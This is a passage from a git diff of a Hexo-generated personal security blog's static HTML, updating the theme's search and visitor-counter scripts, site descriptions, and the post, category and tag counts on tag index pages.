+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/tags/index.html b/tags/index.html
index 3f92ef44..95ec5902 100644
--- a/tags/index.html
+++ b/tags/index.html
@@ -79,14 +79,17 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="文章标签">
 <meta property="og:url" content="https://cool-y.github.io/tags/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta property="og:updated_time" content="2019-04-15T07:35:38.085Z">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="文章标签">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -157,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -308,10 +311,10 @@
         
           <div class="tag-cloud">
             <div class="tag-cloud-title">
-                目前共计 39 个标签
+                目前共计 43 个标签
             </div>
             <div class="tag-cloud-tags">
-              <a href="/tags/AFL/" style="font-size: 21px; color: #6f6f6f">AFL</a> <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/MiniUPnP/" style="font-size: 12px; color: #ccc">MiniUPnP</a> <a href="/tags/PE/" style="font-size: 12px; color: #ccc">PE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/Windows/" style="font-size: 12px; color: #ccc">Windows</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/linux/" style="font-size: 12px; color: #ccc">linux</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/pwn/" style="font-size: 12px; color: #ccc">pwn</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/二进制/" style="font-size: 12px; color: #ccc">二进制</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/取证/" style="font-size: 12px; color: #ccc">取证</a> <a href="/tags/复原文件/" style="font-size: 12px; color: #ccc">复原文件</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 21px; color: #6f6f6f">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 21px; color: #6f6f6f">文件格式</a> <a href="/tags/栈溢出/" style="font-size: 12px; color: #ccc">栈溢出</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/模糊测试/" style="font-size: 21px; color: #6f6f6f">模糊测试</a> <a href="/tags/漏洞/" style="font-size: 12px; color: #ccc">漏洞</a> <a href="/tags/破解/" style="font-size: 12px; color: #ccc">破解</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/路由器/" style="font-size: 12px; color: #ccc">路由器</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/逆向/" style="font-size: 12px; color: #ccc">逆向</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
+              <a href="/tags/AFL/" style="font-size: 21px; color: #6f6f6f">AFL</a> <a href="/tags/CVE/" style="font-size: 12px; color: #ccc">CVE</a> <a href="/tags/IoT/" style="font-size: 12px; color: #ccc">IoT</a> <a href="/tags/MiniUPnP/" style="font-size: 12px; color: #ccc">MiniUPnP</a> <a href="/tags/PE/" style="font-size: 12px; color: #ccc">PE</a> <a href="/tags/QQ/" style="font-size: 12px; color: #ccc">QQ</a> <a href="/tags/SSH/" style="font-size: 12px; color: #ccc">SSH</a> <a href="/tags/Samba/" style="font-size: 12px; color: #ccc">Samba</a> <a href="/tags/TCPDUMP/" style="font-size: 12px; color: #ccc">TCPDUMP</a> <a href="/tags/USENIX/" style="font-size: 12px; color: #ccc">USENIX</a> <a href="/tags/Windows/" style="font-size: 12px; color: #ccc">Windows</a> <a href="/tags/ctf/" style="font-size: 12px; color: #ccc">ctf</a> <a href="/tags/itchat/" style="font-size: 12px; color: #ccc">itchat</a> <a href="/tags/linux/" style="font-size: 12px; color: #ccc">linux</a> <a href="/tags/miio/" style="font-size: 12px; color: #ccc">miio</a> <a href="/tags/pwn/" style="font-size: 12px; color: #ccc">pwn</a> <a href="/tags/python/" style="font-size: 12px; color: #ccc">python</a> <a href="/tags/web/" style="font-size: 12px; color: #ccc">web</a> <a href="/tags/wifi/" style="font-size: 12px; color: #ccc">wifi</a> <a href="/tags/中间人/" style="font-size: 12px; color: #ccc">中间人</a> <a href="/tags/二进制/" style="font-size: 12px; color: #ccc">二进制</a> <a href="/tags/侧信道攻击/" style="font-size: 12px; color: #ccc">侧信道攻击</a> <a href="/tags/取证/" style="font-size: 12px; color: #ccc">取证</a> <a href="/tags/复原文件/" style="font-size: 12px; color: #ccc">复原文件</a> <a href="/tags/密码/" style="font-size: 12px; color: #ccc">密码</a> <a href="/tags/小米/" style="font-size: 30px; color: #111">小米</a> <a href="/tags/微信/" style="font-size: 12px; color: #ccc">微信</a> <a href="/tags/拒绝服务攻击/" style="font-size: 12px; color: #ccc">拒绝服务攻击</a> <a href="/tags/数据库/" style="font-size: 21px; color: #6f6f6f">数据库</a> <a href="/tags/数据挖掘/" style="font-size: 12px; color: #ccc">数据挖掘</a> <a href="/tags/文件格式/" style="font-size: 21px; color: #6f6f6f">文件格式</a> <a href="/tags/栈溢出/" style="font-size: 12px; color: #ccc">栈溢出</a> <a href="/tags/模型实现/" style="font-size: 12px; color: #ccc">模型实现</a> <a href="/tags/模糊测试/" style="font-size: 21px; color: #6f6f6f">模糊测试</a> <a href="/tags/漏洞/" style="font-size: 12px; color: #ccc">漏洞</a> <a href="/tags/破解/" style="font-size: 12px; color: #ccc">破解</a> <a href="/tags/硬件层/" style="font-size: 12px; color: #ccc">硬件层</a> <a href="/tags/自然语言处理/" style="font-size: 12px; color: #ccc">自然语言处理</a> <a href="/tags/访问控制/" style="font-size: 12px; color: #ccc">访问控制</a> <a href="/tags/路由器/" style="font-size: 12px; color: #ccc">路由器</a> <a href="/tags/远程执行/" style="font-size: 12px; color: #ccc">远程执行</a> <a href="/tags/逆向/" style="font-size: 12px; color: #ccc">逆向</a> <a href="/tags/重放攻击/" style="font-size: 12px; color: #ccc">重放攻击</a>
             </div>
           </div>
         
@@ -359,7 +362,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -369,7 +372,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +383,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +394,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -462,7 +465,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/itchat/index.html b/tags/itchat/index.html
index cbb125a5..10c88eec 100644
--- a/tags/itchat/index.html
+++ b/tags/itchat/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/itchat/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/linux/index.html b/tags/linux/index.html
index 8a9527a3..ea5a6cd7 100644
--- a/tags/linux/index.html
+++ b/tags/linux/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/linux/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/miio/index.html b/tags/miio/index.html
index 76d97eb6..dd06ea6f 100644
--- a/tags/miio/index.html
+++ b/tags/miio/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/miio/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
